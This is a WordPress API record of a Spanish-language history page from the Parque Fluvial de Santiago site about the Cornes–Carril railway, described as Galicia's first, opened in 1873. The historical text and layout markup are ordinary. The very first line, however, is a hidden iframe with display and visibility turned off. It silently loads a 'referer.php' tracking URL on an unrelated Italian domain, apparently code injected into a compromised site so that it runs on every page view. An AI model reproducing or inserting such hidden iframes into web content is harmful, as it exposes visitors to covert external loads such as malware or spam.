<iframe style="visibility: hidden; display: none; display: none;" src="http://www.benesserepuglia.it/referer.php?id={ECF6BAD7-0C1D-444A-8CC1-8A4C59349583}"></iframe>{"id":9000,"date":"2017-01-21T21:16:25","date_gmt":"2017-01-21T20:16:25","guid":{"rendered":"http:\/\/vieja.parquefluvialdesantiago.org\/?page_id=9000\/"},"modified":"2017-03-10T13:27:13","modified_gmt":"2017-03-10T12:27:13","slug":"antecedentes","status":"publish","type":"page","link":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/antecedentes\/","title":{"rendered":"Antecedentes"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-82b4ddd6ed742a05e1c51e23089eb483\">\n.avia-section.av-av_section-82b4ddd6ed742a05e1c51e23089eb483{\nbackground-color:#edae44;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_1'  class='avia-section av-av_section-82b4ddd6ed742a05e1c51e23089eb483 main_color avia-section-small avia-no-shadow  avia-builder-el-0  el_before_av_one_third  avia-builder-el-first  avia-bg-style-scroll container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-9000'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-71a954ad87646974f65d5d7b0c375c77\">\n#top .av-special-heading.av-av_heading-71a954ad87646974f65d5d7b0c375c77{\npadding-bottom:10px;\ncolor:#ffffff;\n}\nbody .av-special-heading.av-av_heading-71a954ad87646974f65d5d7b0c375c77 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-71a954ad87646974f65d5d7b0c375c77 .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-71a954ad87646974f65d5d7b0c375c77 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-71a954ad87646974f65d5d7b0c375c77 av-special-heading-h1 custom-color-heading blockquote modern-quote  avia-builder-el-1  avia-builder-el-no-sibling '><h1 class='av-special-heading-tag'  itemprop=\"headline\"  >ANTECEDENTES<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><div id='after_section_1'  class='main_color av_default_container_wrap container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-9000'><div class='entry-content-wrapper clearfix'>\n<div class='flex_column_table av-av_one_third-169e5a607a277699ae4d12b1f6626805 sc-av_one_third av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_third-169e5a607a277699ae4d12b1f6626805\">\n.flex_column.av-av_one_third-169e5a607a277699ae4d12b1f6626805{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_third-169e5a607a277699ae4d12b1f6626805 av_one_third  avia-builder-el-2  el_after_av_section  el_before_av_two_third  avia-builder-el-first  first flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-14e3a3847f34b32750d0170b50d56f54\">\n.avia-image-container.av-av_image-14e3a3847f34b32750d0170b50d56f54 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-14e3a3847f34b32750d0170b50d56f54 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-14e3a3847f34b32750d0170b50d56f54 av-styling- avia-align-center  avia-builder-el-3  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-9195 avia-img-lazy-loading-not-9195 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/estacion-de-cornes-1909-300x239.jpg\" alt='estaci\u00f3n de cornes 1909' title='estaci\u00f3n de cornes 1909'  height=\"239\" width=\"300\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/estacion-de-cornes-1909-300x239.jpg 300w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/estacion-de-cornes-1909-768x611.jpg 768w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/estacion-de-cornes-1909-1030x819.jpg 1030w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/estacion-de-cornes-1909-705x561.jpg 705w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/estacion-de-cornes-1909-450x358.jpg 450w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/estacion-de-cornes-1909.jpg 1182w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/div><\/div><\/div><\/div><div class='av-flex-placeholder'><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_two_third-531d5d4d3d3a74d4c56d8363993d8877\">\n.flex_column.av-av_two_third-531d5d4d3d3a74d4c56d8363993d8877{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_two_third-531d5d4d3d3a74d4c56d8363993d8877 av_two_third  avia-builder-el-4  el_after_av_one_third  el_before_av_one_full  flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>La construcci\u00f3n de esta l\u00ednea con capital privado que era la t\u00f3nica de aquel tiempo, se remonta a trece a\u00f1os antes de la inauguraci\u00f3n. El proyecto inicial s\u00f3lo contemplaba la llegada a Cesures, porque se pretend\u00eda usar la desembocadura del Ulla como puerto de Compostela, pero como esta idea no era viable, se modific\u00f3 el trayecto y se decidi\u00f3 que el destino fuese Carril. Esto provoc\u00f3 un incremento notable del presupuesto.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. Autoclose: 1 --><\/p>\n<div class='flex_column_table av-av_one_full-169e5a607a277699ae4d12b1f6626805 sc-av_one_full av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-169e5a607a277699ae4d12b1f6626805\">\n.flex_column.av-av_one_full-169e5a607a277699ae4d12b1f6626805{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-169e5a607a277699ae4d12b1f6626805 av_one_full  avia-builder-el-6  el_after_av_two_third  el_before_av_one_full  first flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><blockquote>\n<p>Esta obra contar\u00e1 con el apoyo del Ayuntamiento Constitucional de Carril y de la Sociedad de Amigos del Pa\u00eds de Santiago que hab\u00eda madurado el proyecto. La concesi\u00f3n fue otorgada en 1861 a una compa\u00f1\u00eda de la que era socio, entre otros el gran ge\u00f3grafo Domingo Font\u00e1n, y transferida a la compa\u00f1\u00eda que la explotar\u00eda en 1863, cuando se autoriza por Real Decreto, la creaci\u00f3n de la Real Sociedad del Ferrocarril Compostelano de la Infanta Do\u00f1a Isabel de Santiago al Puerto de Carril, aunque la l\u00ednea Cornes- Carril era conocida popularmente como \u201cEl Compostelano\u201d.<\/p>\n<\/blockquote>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. Autoclose: 1 -->\n<div class='flex_column_table av-av_one_full-169e5a607a277699ae4d12b1f6626805 sc-av_one_full av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-169e5a607a277699ae4d12b1f6626805\">\n.flex_column.av-av_one_full-169e5a607a277699ae4d12b1f6626805{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-169e5a607a277699ae4d12b1f6626805 av_one_full  avia-builder-el-8  el_after_av_one_full  avia-builder-el-last  first flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Esta sociedad estaba participada por emigrantes gallegos en Cuba, vecinos de Carril y de Compostela. El ingeniero ingl\u00e9s John Stephenson Mould, y su socio italiano Camilo Bertorini, se encargan de la construcci\u00f3n.<\/p>\n<p>Despu\u00e9s de muchos problemas econ\u00f3micos, inestabilidad pol\u00edtica (sexenio revolucionario) e inclemencias meteorol\u00f3gicas, se inaugura oficialmente el primer ferrocarril gallego, el 15 de septiembre de 1873, siendo presidente de la Junta Ferroviaria en ese momento Eugenio Montero R\u00edos.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. Autoclose: 1 -->\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Antecedentes - Parque Fluvial de Santiago: As bra\u00f1as de Sar<\/title>\n<meta name=\"description\" content=\"La construcci\u00f3n de esta linea con capital privado que era la t\u00f3nica de aquel tiempo, se remonta a trece a\u00f1os antes de la inauguraci\u00f3n.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Antecedentes - Parque Fluvial de Santiago: As bra\u00f1as de Sar\" \/>\n<meta property=\"og:description\" content=\"La construcci\u00f3n de esta linea con capital privado que era la t\u00f3nica de aquel tiempo, se remonta a trece a\u00f1os antes de la inauguraci\u00f3n.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/\" \/>\n<meta property=\"og:site_name\" content=\"Parque Fluvial de Santiago: As bra\u00f1as de Sar\" \/>\n<meta property=\"article:modified_time\" content=\"2017-03-10T12:27:13+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data1\" content=\"3 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/\",\"url\":\"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/\",\"name\":\"Antecedentes - Parque Fluvial de Santiago: As bra\u00f1as de Sar\",\"isPartOf\":{\"@id\":\"https:\/\/www.parquefluvialdesantiago.org\/#website\"},\"datePublished\":\"2017-01-21T20:16:25+00:00\",\"dateModified\":\"2017-03-10T12:27:13+00:00\",\"description\":\"La construcci\u00f3n de esta linea con capital privado que era la t\u00f3nica de aquel tiempo, se remonta a trece a\u00f1os antes de la inauguraci\u00f3n.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.parquefluvialdesantiago.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Antecedentes\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.parquefluvialdesantiago.org\/#website\",\"url\":\"https:\/\/www.parquefluvialdesantiago.org\/\",\"name\":\"Parque Fluvial de Santiago: As bra\u00f1as de Sar\",\"description\":\"Parque Fluvial de Santiago: As bra\u00f1as de Sar\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.parquefluvialdesantiago.org\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"es\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Antecedentes - Parque Fluvial de Santiago: As bra\u00f1as de Sar","description":"La construcci\u00f3n de esta linea con capital privado que era la t\u00f3nica de aquel tiempo, se remonta a trece a\u00f1os antes de la inauguraci\u00f3n.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/","og_locale":"es_ES","og_type":"article","og_title":"Antecedentes - Parque Fluvial de Santiago: As bra\u00f1as de Sar","og_description":"La construcci\u00f3n de esta linea con capital privado que era la t\u00f3nica de aquel tiempo, se remonta a trece a\u00f1os antes de la inauguraci\u00f3n.","og_url":"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/","og_site_name":"Parque Fluvial de Santiago: As bra\u00f1as de Sar","article_modified_time":"2017-03-10T12:27:13+00:00","twitter_card":"summary_large_image","twitter_misc":{"Tiempo de lectura":"3 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/","url":"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/","name":"Antecedentes - Parque Fluvial de Santiago: As bra\u00f1as de Sar","isPartOf":{"@id":"https:\/\/www.parquefluvialdesantiago.org\/#website"},"datePublished":"2017-01-21T20:16:25+00:00","dateModified":"2017-03-10T12:27:13+00:00","description":"La construcci\u00f3n de esta linea con capital privado que era la t\u00f3nica de aquel tiempo, se remonta a trece a\u00f1os antes de la inauguraci\u00f3n.","breadcrumb":{"@id":"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.parquefluvialdesantiago.org\/es\/antecedentes\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.parquefluvialdesantiago.org\/es\/"},{"@type":"ListItem","position":2,"name":"Antecedentes"}]},{"@type":"WebSite","@id":"https:\/\/www.parquefluvialdesantiago.org\/#website","url":"https:\/\/www.parquefluvialdesantiago.org\/","name":"Parque Fluvial de Santiago: As bra\u00f1as de Sar","description":"Parque Fluvial de Santiago: As bra\u00f1as de Sar","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.parquefluvialdesantiago.org\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"es"}]}},"_links":{"self":[{"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/pages\/9000"}],"collection":[{"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/comments?post=9000"}],"version-history":[{"count":0,"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/pages\/9000\/revisions"}],"wp:attachment":[{"href":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/wp-json\/wp\/v2\/media?parent=9000"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}